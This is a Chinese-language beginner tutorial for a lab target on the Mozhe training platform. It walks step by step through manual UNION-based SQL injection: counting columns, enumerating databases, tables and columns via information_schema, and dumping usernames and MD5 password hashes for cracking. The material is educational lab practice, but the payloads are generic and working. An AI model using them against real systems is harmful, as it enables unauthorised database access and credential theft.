零基礎學習手工SQL注入

SQL注入介紹

SQL注入,其實就是用戶瀏覽器提交的變量內容,應用程序(代碼可能是asp、aspx、php、jsp等)對瀏覽器提交過來的數據未過濾,直接去數據庫查詢,導致把數據庫裏面其他內容(如管理賬戶和密碼)查詢返回到頁面上。先看個《墨者學院故事會》的一個小故事:

某個鎮子裏,銀行保險櫃做爲一個公共區域幫居民存儲貴重物品,爲了防止錯拿、多拿他人物品,銀行規定:限制每人每次只能帶一把開自己保險櫃的鑰匙,取自己的東西出入。在銀行安檢門口有個負責檢查的安檢員,安檢員職責就是檢查進入銀行保險櫃取物品的人每次是否只帶了一把鑰匙。

這個鎮子上有多家銀行,有個人名字叫“路人甲”,他去A銀行取物品,A銀行的安檢員盡職盡責,對“路人甲”的全身上下、裏裏外外一絲不苟的檢查N遍,確定他只帶了一把自己的鑰匙後,才放行讓他進去取物品;後來“路人甲”去B銀行去物品,他發現B銀行的安檢員是行長的小舅子,崗位就是個擺設,從未來上過班,進入保險櫃也無人進行檢查。所以“路人甲”帶着他和他老婆的鑰匙一起帶來取,發現成功取到物品後,“路人甲”就多帶把螺絲刀,通過安檢門,利用螺絲刀打開行長小舅子的櫃子,成功取走了他的物品,“路人甲”發現有行長的櫃子是用鋼板焊的,螺絲刀無法拆開,他就多帶了把切割機,通過安檢門,花了大功夫用切割機把櫃子打開,把行長櫃子裏的東西全部取走了。

“路人甲”發現這樣可以“致富”,他就整天從各個銀行逛來逛去,去找安檢不嚴的銀行去取他人的東西。每個銀行的安檢門的攝像頭都把他出入記錄了下來,終於有一天,有家銀行告訴了警察,警察調取了攝像頭視頻內容,把“路人甲”給逮捕了。根據相關法律法規,“路人甲”涉嫌未授權獲取(***)他人物品,被判刑入獄。

我們把這個故事裏面的每個內容分配個角色:

◆ 鎮子==互聯網

◆ 銀行==業務系統(網站)

◆ 安檢門==應用程序(代碼)

◆ 安檢員==過濾非安全代碼(如SQL注入、XSS等危險代碼)

◆ 保險櫃的物品==存儲在數據庫中的數據,可能包含賬戶密碼等敏感數據

◆ 小舅子保險櫃的物品==業務系統(網站)的管理權限

◆ 行長保險櫃的物品==服務器(主機)權限

◆ “路人甲”==操作瀏覽器的人

◆ “路人甲”的鑰匙==提交的正常變量內容

◆ “路人甲”的老婆鑰匙==提交的測試SQL注入的語句

◆ 螺絲刀==提交的SQL注入其他語句

◆ 切割機==WebShell或者提權的命令

◆ 攝像頭==各種日誌記錄

◆ 警察==現實中的警察叔叔

◆ 法律法規==《刑法》、《網絡安全法》

如果“路人甲”是一個安保公司的人,他來給銀行做安全防護,他應該最清楚銀行哪些地方是最薄弱的環節。可以給銀行做個安全防護,鎮上來取物品的人比較多,就多做幾個大門(負載均衡),給銀行的安檢門外多加幾層安檢通道(防火牆、WAF、IPS、IDS等安全設備),把行長的小舅子換掉(修補漏洞),每天來檢查安檢人員是否在崗位上工作(定期檢測),把保險櫃和安檢分別放在不同的房間(數據庫與應用系統分離),全部攝像頭開啓(開啓日誌),除了這之外,還有多種安全防護方式。這裏就不在講故事了,真正到現實的業務系統的加固,是需要根據業務場景來決定的。

在線靶場地址

以下是一個Nginx+PHP+MySQL的業務場景靶場,其中php代碼對參數內容未做任何過濾,導致SQL注入的產生,這個是最簡單、基礎的SQL注入練習環節,需要用戶瞭解MySQL最基礎的語法和數據庫結構,如果基礎較差,請自行補充MySQL基礎知識。

MySQL手工注入靶場(本文所描述環境):https://www.mozhe.cn/bug/detail/82

手工SQL注入靶場專題:https://www.mozhe.cn/Special/SQL_Injection

手工SQL注入詳解

手工SQL注入過程,數據庫執行的語句,是頁面提交至服務器應用程序,應用程序獲取id的值,然後把值拼接到查詢語句中,在到數據庫中查詢,通過程序解析後,把結果返回在頁面上,(使用時請將mozhe.cn替換成對應的靶場地址)。

開啓靶場環境:

零基礎學習手工SQL注入

第1步:

零基礎學習手工SQL注入

頁面提交:http://mozhe.cn/new_list.php?id=1

數據庫執行語句:select * from news where id=1

頁面返回描述:返回內容正常

分析解說:正常瀏覽頁面,找到有參數的地方,如id。

第2步:

零基礎學習手工SQL注入

頁面提交:http://mozhe.cn/new_list.php?id=1 and 1=1

數據庫執行語句:select * from news where id=1 and 1=1

頁面返回描述:返回內容正常

分析解說:測試SQL語句。

第3步:

零基礎學習手工SQL注入

頁面提交:http://mozhe.cn/new_list.php?id=1 and 1=2

數據庫執行語句:select * from news where id=1 and 1=2

頁面返回描述:返回內容爲空

分析解說:因爲sql語句中,1=2不成立。

第4步:

零基礎學習手工SQL注入

頁面提交:http://mozhe.cn/new_list.php?id=1 order by 1

數據庫執行語句:select * from news where id=1 order by 1

頁面返回描述:返回內容正常

分析解說:通過SQL語句中order by N 來判斷有幾個字段,返回內容正常,可以確定至少有1個字段。

第5步:

零基礎學習手工SQL注入

頁面提交:http://mozhe.cn/new_list.php?id=1 order by 2

數據庫執行語句:select * from news where id=1 order by 2

頁面返回描述:返回內容正常

分析解說:通過SQL語句中order by N 來判斷有幾個字段,返回內容正常,可以確定至少有2個字段。

第6步:

零基礎學習手工SQL注入

頁面提交:http://mozhe.cn/new_list.php?id=1 order by 3

數據庫執行語句:select * from news where id=1 order by 3

頁面返回描述:返回內容正常

分析解說:通過SQL語句中order by N 來判斷有幾個字段,返回內容正常,可以確定至少有3個字段。

第7步:

零基礎學習手工SQL注入

頁面提交:http://mozhe.cn/new_list.php?id=1 order by 4

數據庫執行語句:select * from news where id=1 order by 4

頁面返回描述:返回內容正常

分析解說:通過SQL語句中order by N 來判斷有幾個字段,返回內容正常,可以確定至少有4個字段。

第8步:

零基礎學習手工SQL注入

頁面提交:http://mozhe.cn/new_list.php?id=1 order by 5

數據庫執行語句:select * from news where id=1 order by 5

頁面返回描述:返回內容爲空

分析解說:通過SQL語句中order by N 來判斷有幾個字段,返回內容不正常,說明字段數少於5個。

第9步:

零基礎學習手工SQL注入

頁面提交:http://mozhe.cn/new_list.php?id=1 and 1=2 union select 1,2,3,4

數據庫執行語句:select * from news where id=1 and 1=2 union select 1,2,3,4

頁面返回描述:在原來的標題上位置顯示爲2,內容的位置顯示爲3

分析解說:通過SQL語句中and 1=2 union select 1,2,3……,n聯合查詢,判斷顯示的是哪些字段,就是原本顯示標題和內容時候的查詢字段,原本的查詢應該是select id,title,contents,times from news where id=1,也就是說title標題是第2個位置顯示,contents內容是在第三個位置顯示。關於union的語法介紹,請自行補習功課。

第10步:

零基礎學習手工SQL注入

頁面提交:http://mozhe.cn/new_list.php?id=1 and 1=2 union select 1,database(),version(),4

數據庫執行語句:select * from news where id=1 and 1=2 union select 1,database(),version(),4

頁面返回描述:在原來的標題上位置顯示爲mozhe_Discuz_StormGroup,內容的位置顯示爲5.7.22-0ubuntu0.16.04.1

分析解說:SQL語句中database()是查詢當前數據庫的名稱(語法:select database();),一個服務器上可能有多個數據庫,version()是查詢當前數據的版本(語法:select version();),這裏是這2個內容分別顯示在第2、3的位置上,mozhe_Discuz_StormGroup爲數據庫,5.7.22-0ubuntu0.16.04.1爲數據庫版本和操作系統的版本。

第11步:

零基礎學習手工SQL注入

頁面提交:http://mozhe.cn/new_list.php?id=1 and 1=2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 0,1

數據庫執行語句:select * from news where id=1 and 1=2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 0,1

頁面返回描述:在原來的標題上位置顯示爲information_schema,內容的位置顯示爲3

分析解說:這裏涉及到數據庫information_schema、表SCHEMATA、列SCHEMA_NAME三個內容,數據庫information_schema是MySQL系統自帶的數據庫,其中記錄了當前數據庫系統中大部分我們需要了結的信息,比如字符集,權限相關,數據庫實體對象信息,外檢約束,分區,壓縮表,表信息,索引信息,參數,優化,鎖和事物等等。說白了,就是這個默認自帶的數據中,存儲了MySQL的數據庫名字、表名字、列名字和其他信息,通過information_schema我們可以查看整個MySQL實例的情況。information_schema的詳細介紹請自行補習(最好是自己安裝一個mysql,連上去看看),limit 0,1意思是從第0行起,取1行數據,information_schema爲獲取的第1個數據庫名稱。

第12步:

零基礎學習手工SQL注入

頁面提交:http://mozhe.cn/new_list.php?id=1 and 1=2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 1,1

數據庫執行語句:select * from news where id=1 and 1=2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 1,1

頁面返回描述:在原來的標題上位置顯示爲mozhe_Discuz_StormGroup,內容的位置顯示爲3

分析解說:limit 1,1意思是從第1行起,取1行數據,mozhe_Discuz_StormGroup爲獲取的第2個數據庫名稱。

第13步:

零基礎學習手工SQL注入

頁面提交:http://mozhe.cn/new_list.php?id=1 and 1=2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 2,1

數據庫執行語句:select * from news where id=1 and 1=2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 2,1

頁面返回描述:在原來的標題上位置顯示爲mysql,內容的位置顯示爲3

分析解說:limit 2,1意思是從第2行起,取1行數據,mysql爲獲取的第3個數據庫名稱。

第14步:

零基礎學習手工SQL注入

頁面提交:http://mozhe.cn/new_list.php?id=1 and 1=2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 3,1

數據庫執行語句:select * from news where id=1 and 1=2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 3,1

頁面返回描述:在原來的標題上位置顯示爲performance_schema,內容的位置顯示爲3

分析解說:limit 3,1意思是從第3行起,取1行數據,performance_schema爲獲取的第4個數據庫名稱。

第15步:

零基礎學習手工SQL注入

頁面提交:http://mozhe.cn/new_list.php?id=1 and 1=2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 4,1

數據庫執行語句:select * from news where id=1 and 1=2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 4,1

頁面返回描述:在原來的標題上位置顯示爲sys,內容的位置顯示爲3

分析解說:limit 4,1意思是從第4行起,取1行數據,sys爲獲取的第5個數據庫名稱。

第16步:

零基礎學習手工SQL注入

頁面提交:http://mozhe.cn/new_list.php?id=1 and 1=2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 5,1

數據庫執行語句:select * from news where id=1 and 1=2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 5,1

頁面返回描述:返回內容爲空

分析解說:limit 5,1意思是從第5行起,取1行數據,返回爲空,說明只有5個數據庫information_schema、mozhe_Discuz_StormGroup、mysql、performance_schema、sys。

第17步:

零基礎學習手工SQL注入

頁面提交:http://mozhe.cn/new_list.php?id=1 and 1=2 union select 1,TABLE_NAME,3,4 from information_schema.TABLES where TABLE_SCHEMA='mozhe_Discuz_StormGroup' limit 0,1

數據庫執行語句:select * from news where id=1 and 1=2 union select 1,TABLE_NAME,3,4 from information_schema.TABLES where TABLE_SCHEMA='mozhe_Discuz_StormGroup' limit 0,1

頁面返回描述:在原來的標題上位置顯示爲StormGroup_member,內容的位置顯示爲3

分析解說:查詢對應數據庫mozhe_Discuz_StormGroup的第1個數據表名稱,limit 0,1,第1個表名爲StormGroup_member。

第18步:

零基礎學習手工SQL注入

頁面提交:http://mozhe.cn/new_list.php?id=1 and 1=2 union select 1,TABLE_NAME,3,4 from information_schema.TABLES where TABLE_SCHEMA='mozhe_Discuz_StormGroup' limit 1,1

數據庫執行語句:select * from news where id=1 and 1=2 union select 1,TABLE_NAME,3,4 from information_schema.TABLES where TABLE_SCHEMA='mozhe_Discuz_StormGroup' limit 1,1

頁面返回描述:在原來的標題上位置顯示爲notice,內容的位置顯示爲3

分析解說:查詢對應數據庫mozhe_Discuz_StormGroup的第2個數據表名稱,limit 1,1,第2個表名爲notice。

第19步:

零基礎學習手工SQL注入

頁面提交:http://mozhe.cn/new_list.php?id=1 and 1=2 union select 1,TABLE_NAME,3,4 from information_schema.TABLES where TABLE_SCHEMA='mozhe_Discuz_StormGroup' limit 2,1

數據庫執行語句:select * from news where id=1 and 1=2 union select 1,TABLE_NAME,3,4 from information_schema.TABLES where TABLE_SCHEMA='mozhe_Discuz_StormGroup' limit 2,1

頁面返回描述:返回內容爲空

分析解說:返回爲空,說明數據庫mozhe_Discuz_StormGroup只有2個數據表,StormGroup_member、notice。

第20步:

零基礎學習手工SQL注入

頁面提交:http://mozhe.cn/new_list.php?id=1 and 1=2 union select 1,COLUMN_NAME,COLUMN_TYPE,4 from information_schema.COLUMNS where TABLE_SCHEMA='mozhe_Discuz_StormGroup' and TABLE_NAME='StormGroup_member' limit 0,1

數據庫執行語句:select * from news where id=1 and 1=2 union select 1,COLUMN_NAME,COLUMN_TYPE,4 from information_schema.COLUMNS where TABLE_SCHEMA='mozhe_Discuz_StormGroup' and TABLE_NAME='StormGroup_member' limit 0,1

頁面返回描述:在原來的標題上位置顯示爲id,內容的位置顯示爲int(11)

分析解說:查詢數據庫mozhe_Discuz_StormGroup的表StormGroup_member中的第1個字段名稱與類型,第1個名稱爲id,類型:整型int(11)。

第21步:

零基礎學習手工SQL注入

頁面提交:http://mozhe.cn/new_list.php?id=1 and 1=2 union select 1,COLUMN_NAME,COLUMN_TYPE,4 from information_schema.COLUMNS where TABLE_SCHEMA='mozhe_Discuz_StormGroup' and TABLE_NAME='StormGroup_member' limit 1,1

數據庫執行語句:select * from news where id=1 and 1=2 union select 1,COLUMN_NAME,COLUMN_TYPE,4 from information_schema.COLUMNS where TABLE_SCHEMA='mozhe_Discuz_StormGroup' and TABLE_NAME='StormGroup_member' limit 1,1

頁面返回描述:在原來的標題上位置顯示爲name,內容的位置顯示爲varchar(20)

分析解說:查詢數據庫mozhe_Discuz_StormGroup的表StormGroup_member中的第2個字段名稱與類型,第2個名稱爲name,類型:字符型varchar(20)。

第22步:

零基礎學習手工SQL注入

頁面提交:http://mozhe.cn/new_list.php?id=1 and 1=2 union select 1,COLUMN_NAME,COLUMN_TYPE,4 from information_schema.COLUMNS where TABLE_SCHEMA='mozhe_Discuz_StormGroup' and TABLE_NAME='StormGroup_member' limit 2,1

數據庫執行語句:select * from news where id=1 and 1=2 union select 1,COLUMN_NAME,COLUMN_TYPE,4 from information_schema.COLUMNS where TABLE_SCHEMA='mozhe_Discuz_StormGroup' and TABLE_NAME='StormGroup_member' limit 2,1

頁面返回描述:在原來的標題上位置顯示爲password,內容的位置顯示爲varchar(255)

分析解說:查詢數據庫mozhe_Discuz_StormGroup的表StormGroup_member中的第3個字段名稱與類型,第3個名稱爲passworde,類型:字符型varchar(255)。

第23步:

零基礎學習手工SQL注入

頁面提交:http://mozhe.cn/new_list.php?id=1 and 1=2 union select 1,COLUMN_NAME,COLUMN_TYPE,4 from information_schema.COLUMNS where TABLE_SCHEMA='mozhe_Discuz_StormGroup' and TABLE_NAME='StormGroup_member' limit 3,1

數據庫執行語句:select * from news where id=1 and 1=2 union select 1,COLUMN_NAME,COLUMN_TYPE,4 from information_schema.COLUMNS where TABLE_SCHEMA='mozhe_Discuz_StormGroup' and TABLE_NAME='StormGroup_member' limit 3,1

頁面返回描述:在原來的標題上位置顯示爲status,內容的位置顯示爲int(11)

分析解說:查詢數據庫mozhe_Discuz_StormGroup的表StormGroup_member中的第4個字段名稱與類型,第4個名稱爲id,類型:整型int(11)。

第24步:

零基礎學習手工SQL注入

頁面提交:http://mozhe.cn/new_list.php?id=1 and 1=2 union select 1,COLUMN_NAME,COLUMN_TYPE,4 from information_schema.COLUMNS where TABLE_SCHEMA='mozhe_Discuz_StormGroup' and TABLE_NAME='StormGroup_member' limit 4,1

數據庫執行語句:select * from news where id=1 and 1=2 union select 1,COLUMN_NAME,COLUMN_TYPE,4 from information_schema.COLUMNS where TABLE_SCHEMA='mozhe_Discuz_StormGroup' and TABLE_NAME='StormGroup_member' limit 4,1

頁面返回描述:返回內容爲空

分析解說:返回爲空,說明數據庫mozhe_Discuz_StormGroup中的表StormGroup_member只有4個字段,名稱爲:id,name,password,status。

第25步:

零基礎學習手工SQL注入

頁面提交:http://mozhe.cn/new_list.php?id=1 and 1=2 union select 1,count(*),3,4 from mozhe_Discuz_StormGroup.StormGroup_member

數據庫執行語句:select from news where id=1 and 1=2 union select 1,count(),3,4 from mozhe_Discuz_StormGroup.StormGroup_member

頁面返回描述:在原來的標題上位置顯示爲2,內容的位置顯示爲3

分析解說:查詢數據庫mozhe_Discuz_StormGroup的表StormGroup_member中數據總數,共有2條數據。

第26步:

零基礎學習手工SQL注入

頁面提交:http://mozhe.cn/new_list.php?id=1 and 1=2 union select 1,CONCAT(name,'-',password,'-',status),3,4 from mozhe_Discuz_StormGroup.StormGroup_member limit 0,1

數據庫執行語句:select * from news where id=1 and 1=2 union select 1,CONCAT(name,'-',password,'-',status),3,4 from mozhe_Discuz_StormGroup.StormGroup_member limit 0,1

頁面返回描述:在原來的標題上位置顯示爲mozhe-356f589a7df439f6f744ff19bb8092c0-0,內容的位置顯示爲3

分析解說:查詢數據庫mozhe_Discuz_StormGroup的表StormGroup_member中的第1條數據的name、password、status的內容,三者之間用-連接起來,CONCAT的是把產生的字符串連接起來,這個地方拼接在一起時爲了在一個地方全部顯示出來。可以獲得第一條數據的name賬戶爲mozhe,密碼password爲356f589a7df439f6f744ff19bb8092c0(md5加密後的密碼,可通過解密獲到明文),status賬戶狀態爲0。

第27步:

零基礎學習手工SQL注入

頁面提交:http://mozhe.cn/new_list.php?id=1 and 1=2 union select 1,CONCAT(name,'-',password,'-',status),3,4 from mozhe_Discuz_StormGroup.StormGroup_member limit 1,1

數據庫執行語句:select * from news where id=1 and 1=2 union select 1,CONCAT(name,'-',password,'-',status),3,4 from mozhe_Discuz_StormGroup.StormGroup_member limit 1,1

頁面返回描述:在原來的標題上位置顯示爲mozhe-6380305ffa6520047acfe95d29ae707b-1,內容的位置顯示爲3

分析解說:查詢數據庫mozhe_Discuz_StormGroup的表StormGroup_member中的第2條數據的name、password、status的內容,三者之間用-連接起來,CONCAT的是把產生的字符串連接起來,這個地方拼接在一起時爲了在一個地方全部顯示出來。可以獲得第一條數據的name賬戶爲mozhe,密碼password爲6380305ffa6520047acfe95d29ae707b(md5加密後的密碼,可通過解密獲到明文),status賬戶狀態爲1。

把最終MD5後的密碼解密出來,就可以得到後臺登錄的明文密碼了。

這個過程中,所有的SQL注入語句未做任何的轉義和註釋,在實際過程中,可能遇到對注入點進行處理,閉合的引號,括號等要先進行閉合,字符串的十六進制,註釋掉多餘的語句等等。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章